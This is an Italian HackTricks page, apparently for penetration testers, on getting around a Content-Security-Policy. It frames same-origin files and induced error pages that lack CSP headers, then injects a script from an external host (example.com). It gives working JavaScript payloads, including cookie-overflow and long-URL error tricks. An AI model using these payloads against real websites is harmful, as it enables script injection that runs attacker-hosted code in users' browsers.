4.7 KiB
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.
Una configurazione come:
Content-Security-Policy: default-src 'self' 'unsafe-inline';
Proibisce l'utilizzo di qualsiasi funzione che esegue codice trasmesso come stringa. Ad esempio: eval, setTimeout, setInterval
saranno tutti bloccati a causa dell'impostazione unsafe-eval
.
Anche i contenuti provenienti da fonti esterne vengono bloccati, inclusi immagini, CSS, WebSockets e, soprattutto, JS.
Tramite testo e immagini
Si osserva che i browser moderni convertono immagini e testi in HTML per migliorarne la visualizzazione (ad esempio, impostando sfondi, centratura, ecc.). Di conseguenza, se un'immagine o un file di testo, come favicon.ico
o robots.txt
, viene aperto tramite un iframe
, viene renderizzato come HTML. È importante notare che queste pagine spesso non hanno intestazioni CSP e potrebbero non includere X-Frame-Options, consentendo l'esecuzione di JavaScript arbitrario da esse:
frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Attraverso gli errori
Allo stesso modo, le risposte di errore, come i file di testo o le immagini, di solito non contengono gli header CSP e potrebbero omettere X-Frame-Options. Gli errori possono essere indotti a caricarsi all'interno di un iframe, consentendo le seguenti azioni:
// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);
// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);
// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}
Dopo aver attivato uno dei scenari menzionati, l'esecuzione di JavaScript all'interno dell'iframe è possibile come segue:
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);
Riferimenti
- https://lab.wallarm.com/come-ingannare-csp-per-permetterti-di-eseguire-quello-che-vuoi-73cb5ff428aa/
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo Telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai repository github di HackTricks e HackTricks Cloud.